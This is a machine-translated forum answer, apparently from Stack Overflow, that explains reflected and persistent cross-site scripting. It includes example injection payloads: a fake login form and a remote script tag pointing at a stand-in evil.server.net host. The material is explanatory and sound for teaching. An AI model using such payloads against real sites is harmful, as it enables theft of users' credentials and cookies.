我沒有得到如何JS/VBscript可以造成如此大的損害!
好的。假設你有一個網站,並且該網站的服務範圍是http://trusted.server.com/thesite
。比方說,這個網站有一個搜索框,當你搜索的網址變成:http://trusted.server.com/thesite?query=somesearchstring
。
如果網站決定不處理搜索字符串並將其輸出到結果中,如「您搜索」somesearchstring「沒有得到任何結果,那麼任何人都可以向該網站注入任意html。例如:
http://trusted.server.com/thesite?query=<form action="http://evil.server.net">username: <input name="username"/><br/>password: <input name="pw" type="password"/><br/><input type="sumbit"/></form>
因此,在這種情況下,網站會在搜索結果頁面上忠實地顯示一個虛假的登錄表單,如果用戶提交,它會將數據發送給邪惡的不受信任的服務器,但用戶不會尤其是如果url很長,他們只會看到第一個,但假設他們正在處理trusted.server.com。
Variation包括注入一個<script>
標籤,該標籤將事件處理程序添加到文檔以跟蹤用戶的操作,或將文檔cookie發送到邪惡服務器。通過這種方式,您可能會遇到敏感數據,例如登錄名,密碼或信用卡數據。或者您可以嘗試插入佔據整個客戶端窗口的專門設計的,並提供看起來像原始網站但實際上源自evil.server.com的網站。只要用戶被欺騙使用注入內容而不是原始內容,安全性就會被妥協。
這種類型的XSS稱爲反射和非持久。反射式的,因爲url直接在響應中被「重新選擇」,而非持久性,因爲實際站點沒有被改變 - 它只是作爲一個傳遞。請注意,像https這樣的東西在這裏沒有提供任何保護 - 網站本身被破壞,因爲它通過查詢字符串鸚鵡的用戶輸入。
訣竅是讓不知情的用戶信任你給他們的任何鏈接。例如,您可以向他們發送一封HTML電子郵件,並在其中包含一個有吸引力的鏈接,指向僞造的網址。或者你也可以將它傳播到wiki,論壇等。我相信你可以感受到它真的很容易 - 它只是一個鏈接,可能會出錯,對吧?
有時可能會更糟糕。有些網站實際上存儲了用戶提供的內容。簡單的例子:在論壇上的博客或主題上的評論。或者它可能更加微妙:社交網絡上的用戶個人資料頁面。如果這些頁面允許任意的html,腳本,並且這個用戶提供的html被存儲和再現,那麼只需訪問包含這些內容的頁面的每個人都處於危險之中。這是持久的XSS。現在用戶甚至不需要再點擊一個鏈接,只需訪問就足夠了。實際的攻擊又是通過腳本修改頁面來捕獲用戶數據。
腳本注入可能是鈍的,例如,可以插入一個完整的<script src="http://evil.server.net/script.js">
或者它可能很微妙:<img src="broken" onerror="...quite elaborate script to dynamically add a script tag..."/>
。
至於如何保護自己:關鍵是永遠不會輸出用戶輸入。如果您的網站圍繞用戶提供的帶有標記的內容旋轉,這可能會很困難。
這是一個非常好的答案,我描述了攻擊矢量,但我認爲你已經比我更好地概述了XSS攻擊。 – Spence 2010-02-10 00:37:55
我希望他們有一個專門針對計算機安全主題的Stackoverflow類型的網站 – bkbkbk 2010-02-11 05:58:02
@bkbkbk http://security.stackexchange.com/ – MTCoster 2013-07-12 23:13:02